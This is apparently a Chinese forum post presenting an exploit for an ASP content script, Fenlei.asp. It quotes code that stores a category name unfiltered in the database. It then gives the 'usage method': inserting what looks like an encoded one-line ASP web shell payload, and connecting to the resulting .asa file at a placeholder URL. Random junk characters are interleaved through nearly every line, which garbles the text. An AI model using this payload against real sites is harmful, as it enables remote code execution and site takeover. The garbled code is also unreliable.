'Fenlei.asp : a; m8 T( _# S# O
\ }- r2 y& b" f8 |* C
IF Request.QueryString("Action")="del" Then
! m3 R/ _+ i4 B; pID=Request.QueryString("ID") 7 o H- a' y* p! ~1 P* |
IF Countss ("tui","Fenlei",ID )<>0 then
+ O# S6 [$ U# T0 Z f1 X'略 - a7 x& L1 o4 t! t( |
IF Request.QueryString("Action")="Add" Then : R& a' Z/ h8 h* H5 \# X
Tname=Request.Form("Typename")
2 ^+ `8 O5 n2 g6 u/ `8 l/ BSet Rs=Server.CreateObject("adodb.Recordset") 9 ~( P6 C7 R# Q
Sql="Select * From Fenlei Order by id Desc "
/ S+ }' l9 \% }+ ?' LRs.Open Sql,Conn,1,3 4 D2 d4 g" ] f( n5 K3 a" V8 s& d
Rs.Addnew $ N' w- @: m8 `0 t' _" o8 _
Rs("Typename")=Tname
/ h" L2 Q* \( Q6 P'略 ; X% o3 b7 @' b6 a& ?* K- O0 S# S
Set Rs=Server.CreateObject("adodb.Recordset") 8 `, w/ |1 V" F3 k& {$ q
Sql="Select * From Fenlei Order by id Desc "
$ q' G s& t! ^3 L0 `Rs.Open Sql,Conn,1,1
0 k7 D% q% ?6 c% ?'略
8 \, F# h! _$ r+ S/ b5 c%>
: g; q. b0 q2 |9 e) d& Y$ X* y# q
3 I$ q6 |9 D+ Z6 V- h8 [" t* O: x
0 @3 y; N8 O) R9 r / k9 c) n) M; h3 ?# [0 o, P, G# ]7 C, y
没有过滤,直接写入数据库。
q9 t0 Y6 O8 D
3 q1 ], Q% C7 Q利用方法:
" n" g Z+ A. t" j. } , }1 h7 ~1 g* P8 f
插入:┼攠數畣整爠煥敵瑳∨≡┩>
* y5 @ n$ f" D$ g
, A- C2 N' X. ?9 w `
' m; H& V/ d* h6 H! i, r- W连接: http://www.xxx.com/###tongbaner.asa
9 _+ H$ ^8 `/ \' v; x) D8 _; ?'默认安装文件: # ?- M# l T, B% p# o$ N! Y. a
'install.asp, P. r$ y* ]! l$ a, h4 C. N
|